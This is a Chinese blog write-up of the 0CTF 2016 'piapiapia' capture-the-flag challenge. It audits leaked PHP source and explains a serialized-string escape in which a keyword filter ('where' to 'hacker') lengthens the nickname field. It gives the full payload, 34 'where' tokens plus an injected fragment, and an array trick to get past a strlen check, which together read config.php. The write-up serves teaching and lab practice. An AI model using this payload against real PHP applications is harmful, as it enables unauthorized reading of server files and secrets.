[0CTF 2016]piapiapia(反序列化逃逸)

偷了三天懒没有学习,哈哈哈,通宵看完了扫黑风暴

开始做题

在这里插入图片描述
打开环境,第一时间以为是SQL注入,用sqlmap跑了一下,并不是
找了一下也没有什么东西,就去扫一下他的敏感目录,扫到www.zip,下载下来
先用Seay快速审计一下,再去细看代码逻辑
在这里插入图片描述

知识点

1、代码审计
2、反序列化逃逸

来一起看看代码吧

先看看可能存在文件读取的profile.php
在这里插入图片描述
首先想到的就是利用反序列化,然后文件读取,继续跟进
$profile = $user->show_profile($username);
再看index.php,就是正常登录
在这里插入图片描述
再看update.php,这里就存在文件上传了,而且注意到nickname其实是可控的,因为strlen是可以通过数组绕过长度的,而另外两个 if 判断是被写死了的
在这里插入图片描述
继续看class.php,主要还是利用update_profilefilter
在这里插入图片描述
在这里插入图片描述
我们需要的flag就在 config.php
在这里插入图片描述

整理一下思路

profile.php

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

假如我们想办法让$profile['photo']等于config.php,是不是就可以通过文件读取拿到flag

update.php

if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
   die('Invalid nickname');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

这里我们就可以通过nickname来控制photo的值,从而造成逃逸

简单介绍一下逃逸的原理

比如说正常序列化后的语句是
a:4:{s:5:"phone";s:11:"15901010101";s:5:"email";s:11:"123@123.com";s:8:"nickname";s:3:"asf";s:5:"photo";s:6:"11.jpg";};
但是如果我的nicknameasf";s:5:"photo";s:10:"config.php";};而不只是asf,通过序列化又会变成什么呢
a:4:{s:5:"phone";s:11:"15901010101";s:5:"email";s:11:"123@123.com";s:8:"nickname";s:37:"asf";s:5:"photo";s:10:"config.php";};";s:5:"photo";s:6:"11.jpg";}
有没有注意到差别,我们传进去是nickname已经形成闭合,同时也把我们构造的config.php插进去了,而后面的photo部分则会丢失,反序列化时就形成了逃逸
在这里插入图片描述

回到题目

update_profile又调用filter方法检测过滤

    public function filter($string)
    {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

我们的想法就是要插入";}s:5:"photo";s:10:"config.php";},一共34个字符,要逃逸成功只需要长度增加34,把我们的目标给挤出去就行了
这里正好利用filter来将长度增长,假如我传入 where,那么被替换以后就是 hacker,长度增加了1

payload,一共是34个 where
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

开始做题

首先抓个包,strlen可以通过数组绕过
在这里插入图片描述
在这里插入图片描述
上传成功,访问profile.php,这个图片就是config.php,base64解码拿到flag
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值